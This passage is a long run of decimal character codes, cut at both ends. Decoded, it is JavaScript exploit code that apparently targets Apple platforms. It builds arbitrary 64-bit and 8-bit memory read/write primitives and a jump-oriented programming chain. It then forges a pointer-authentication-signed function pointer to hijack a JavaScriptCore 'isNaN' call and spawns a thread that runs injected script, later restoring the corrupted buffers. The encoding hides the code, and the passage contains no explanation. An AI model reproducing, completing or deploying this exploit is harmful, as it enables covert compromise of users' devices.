61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 61, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 32, 32, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 93, 59, 10, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 106, 115, 99, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 115, 116, 97, 103, 101, 49, 95, 106, 115, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 97, 100, 100, 114, 111, 102, 32, 112, 114, 105, 109, 115, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 44, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 52, 57, 49, 49, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 32, 61, 32, 112, 97, 99, 105, 98, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 44, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 44, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 109, 101, 109, 99, 112, 121, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 51, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 53, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 54, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 55, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 41, 59, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 32, 61, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 99, 116, 120, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 32, 32, 32, 61, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 99, 116, 120, 41, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 44, 32, 50, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 32, 58, 32, 110, 115, 116, 104, 114, 101, 97, 100, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 99, 116, 120, 34, 32, 58, 32, 99, 116, 120, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 32, 58, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 32, 58, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 106, 115, 95, 116, 104, 114, 101, 97, 100, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 99, 116, 120, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 93, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 119, 97, 105, 116, 32, 117, 110, 116, 105, 108, 32, 116, 104, 101, 32, 116, 104, 114, 101, 97, 100, 32, 105, 115, 32, 102, 105, 110, 105, 115, 104, 101, 100, 32, 97, 110, 100, 32, 114, 101, 108, 101, 97, 115, 101, 32, 105, 116, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 61, 32, 49, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 114, 101, 97, 107, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 106, 115, 32, 99, 111, 110, 116, 101, 120, 116, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 32, 61, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 108, 101, 116, 32, 105, 32, 61, 32, 48, 110, 59, 32, 105, 32, 60, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 59, 32, 105, 43, 43, 41, 32, 